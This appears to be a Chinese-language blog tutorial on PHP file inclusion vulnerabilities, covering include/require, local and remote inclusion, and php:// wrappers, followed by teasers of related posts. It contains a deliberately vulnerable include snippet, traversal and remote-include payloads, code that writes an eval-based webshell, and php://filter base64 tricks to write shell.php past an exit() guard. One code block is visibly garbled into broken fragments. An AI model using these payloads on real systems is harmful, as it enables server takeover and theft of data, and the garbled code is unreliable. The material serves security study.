檔案包含漏洞file include

2021-10-03 16:48:55 字數 2666 閱讀 8755

什麼是檔案包含?

程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案,無需再次編寫,這種呼叫檔案的過程一般被稱為檔案包含

幾個檔案包含函式及特點

include函式

當使用該函式包含檔案時,只有**執行到 include()函式時才將檔案包含進來,發生錯誤時之給出乙個警告,繼續向下執行。

include_once函式

功能與include()相同,但程式只呼叫一次

require函式

require()與include()的區別在於require()執行如果發生錯誤,函式會輸出錯誤資訊,並終止指令碼的執行。

require_once函式

功能與require()相同,但程式只呼叫一次

常見的檔案包含漏洞**

<?php $filename = $_get['filename']; include($filename); ?>

這樣就可以去讀取乙個檔案

payload: ?filename=***.***

一般是使用相對路徑

相對當前檔案的另乙個檔案的位置

…/即前往上一級

要回到根目錄可以使用多個…/

本地檔案包含

被包含的檔案在伺服器本地

利用方式

包含本地敏感檔案, 上傳檔案

遠端檔案包含

利用方式

包含遠端攻擊者指定遠端url檔案

被包含的檔案在遠端服務端

要php.ini配置為允許遠端包含

5.x版本之後預設為關閉狀態

若要進行遠端檔案包含測試

在php.ini中修改allow_url_include=on

遠端檔案包含payload: ?page=***.***.***.***/phpinfo.php

***為你要遠端包含的ip位址

遠端包含寫入一句話木馬

<?php $payload = "<?php eval(\$_post['cmd'])?>";

m yf

ile=

fope

n(′d

emo.

php′

,′w′

)ord

ie("

can′

tope

nthe

file

");f

writ

e(

myfile = fopen('demo.php','w') or die("can't open the file"); fwrite(

myfile

=fop

en(′

demo

.php

′,′w

′)or

die(

"can

′top

enth

efil

e");

fwri

te(myfile, $payload);

fclose();

?>

並且將其包含

即可建立

demo.php

xss可以配合檔案包含漏洞進行資訊獲取

即輸入<?php phpinfo();?>進入檔案時會將<>進行url編碼

我們使用burp進行抓包

將url編碼改回來

forward

即可在訪問日誌時檢視到資訊

檔案利用方式php://filter協議

=php://filter/convert.base64-encode/resource=index.php

有時候即使我們成功包含一句話木馬

但因為exit使得後面的資訊無法當作php進行處理

這個時候我們可以將前面的資訊做base64加密

在後面寫入時再進行base64解密

txt=apd9wahagcghwaw5mbygpoz8+

a是前面需要加的乙個字元

加a的原因是phpexit為7個字元

而php解碼為4個byte一組

php在進行解碼時遇到不在其中的字元時會選擇跳過該字元

後面的時php一句話木馬base64加密後的結果

最後我們進行解密

filename=php://filter/write=convert.base64-decode/resource=shell.php

也可以用string_strip_tags去除死亡exit

exp:

txt=pd9wahagcghwaw5mbygpoz8+ && filename=php://filter/write=string_strip_tags|convert.base64-decode/resource=shell.php

這種方法可以不用到a

php://input

<?php fputs("fopen("shell.php","w")","<?php eval(\$_post['cmd'])?>")?>

這個操作要配置allow_url_include=on

其他的還有zip:// bzip2:// zlib://

zip://[壓縮檔案絕對路徑]#壓縮檔案內的子檔名

bzip2://[壓縮檔案絕對路徑]#壓縮檔案內的子檔名

zlip://[壓縮檔案絕對路徑]#壓縮檔案內的子檔名

因為要使用到絕對路徑

所以使用到的情況較少

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...